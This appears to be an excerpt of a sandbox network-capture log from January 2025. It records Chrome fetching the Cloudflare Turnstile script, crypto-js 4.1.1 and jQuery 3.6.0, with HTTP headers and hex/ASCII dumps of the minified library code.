2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 Data Ascii: uld not find Turnstile script tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1]))
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 53 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 Data Ascii: yle.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.top="0px",E.style.overflow="hidden",E.style.margin="0px auto";var S=document.createElement("iframe");S.id="".concat(e,"-fr"),S.setAttribute("src",h),S.setAttribute("allow"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	62500	104.17.25.14	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:23 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:23 UTC	962	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 457254 Expires: Sat, 03 Jan 2026 20:17:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vRBpfOsjCK4S1d1x0AYoxvnG2yrHV%2F345o8IlyXjDiJlpDGek70ZgkGeEbRhEwOPYhvvMuj%2B1FfRcHwS5Cfe4wgVuli%2F3Nsd1ois7ohEGK5AW4S1O3Dt4pm4OcV%2FITgasbx%2BLNli"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901811cabf960c94-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:23 UTC	407	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	62501	151.101.130.137	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:23 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:23 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2283969 Date: Mon, 13 Jan 2025 20:17:23 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740042-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736799444.654258,VS0,VE1 Vary: Accept-Encoding
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 